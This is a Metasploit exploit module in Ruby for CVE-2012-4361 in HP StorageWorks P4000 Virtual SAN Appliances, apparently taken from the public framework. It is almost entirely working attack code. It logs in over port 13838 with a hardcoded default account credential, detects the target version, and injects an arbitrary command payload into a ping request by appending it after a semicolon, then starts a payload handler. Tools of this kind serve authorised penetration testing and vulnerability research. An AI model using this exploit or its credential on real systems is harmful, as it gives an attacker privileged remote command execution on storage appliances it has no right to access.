##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info={})
    super(update_info(info,
      'Name'           => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution",
      'Description'    => %q{
          This module exploits a vulnerability found in HP's StorageWorks P4000 VSA on
        versions prior to 9.5. By using a default account credential, it is possible
        to inject arbitrary commands as part of a ping request via port 13838.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nicolas Gregoire',  #Discovery, PoC, additional assistance
          'sinn3r'             #Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2012-4361'],
          ['OSVDB', '82087'],
          ['EDB', '18893'],
          ['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?loc=en_US&id=958'],
          ['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03082086'],
          ['URL', 'http://www.agarri.fr/blog/archives/2012/02/index.html'] # Original Disclosure
        ],
      'Payload'        =>
        {
          'BadChars' => "/",
          'Compat'   =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet'
            }
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => %w{ linux unix },
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          [ 'Automatic',        {} ],
          [ 'HP VSA up to 8.5', { 'Version' => '8.5.0' } ],
          [ 'HP VSA 9',         { 'Version' => '9.0.0' } ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2011-11-11',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('RPORT', [true, 'The remote port', 13838])
      ])
  end


  def generate_packet(data)
    pkt = "\x00\x00\x00\x00\x00\x00\x00\x01"
    pkt << [data.length + 1].pack("N*")
    pkt << "\x00\x00\x00\x00"
    pkt << "\x00\x00\x00\x00\x00\x00\x00\x00"
    pkt << "\x00\x00\x00\x14\xff\xff\xff\xff"
    pkt << data
    pkt << "\x00"

    pkt
  end

  def get_target
    if target.name !~ /Automatic/
      return target
    end

    # Login at 8.5.0
    packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"")
    print_status("#{rhost}:#{rport} Sending login packet for version 8.5.0")
    sock.put(packet)
    res = sock.get_once
    vprint_status(Rex::Text.to_hex_dump(res)) if res
    if res and res=~ /OK/ and res=~ /Login/
      return targets[1]
    end

    # Login at 9.0.0
    packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"9.0.0\"")
    print_status("#{rhost}:#{rport} Sending login packet for version 9.0.0")
    sock.put(packet)
    res = sock.get_once
    vprint_status(Rex::Text.to_hex_dump(res)) if res
    if res and res=~ /OK/ and res =~ /Login/
      return targets[2]
    end

    fail_with(Failure::NoTarget, "#{rhost}:#{rport} - Target auto detection didn't work'")
  end

  def exploit
    connect

    if target.name =~ /Automatic/
      my_target = get_target
      print_good("#{rhost}:#{rport} - Target #{my_target.name} found")
    else
      my_target = target
      print_status("#{rhost}:#{rport} Sending login packet")
      packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{my_target['Version']}\"")
      sock.put(packet)
      res = sock.get_once
      vprint_status(Rex::Text.to_hex_dump(res)) if res
    end

    # Command execution
    print_status("#{rhost}:#{rport} Sending injection")
    data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/"
    data << "64/5/" if my_target.name =~ /9/
    packet = generate_packet(data)
    sock.put(packet)
    res = sock.get_once
    vprint_status(Rex::Text.to_hex_dump(res)) if res

    handler
    disconnect
  end
end

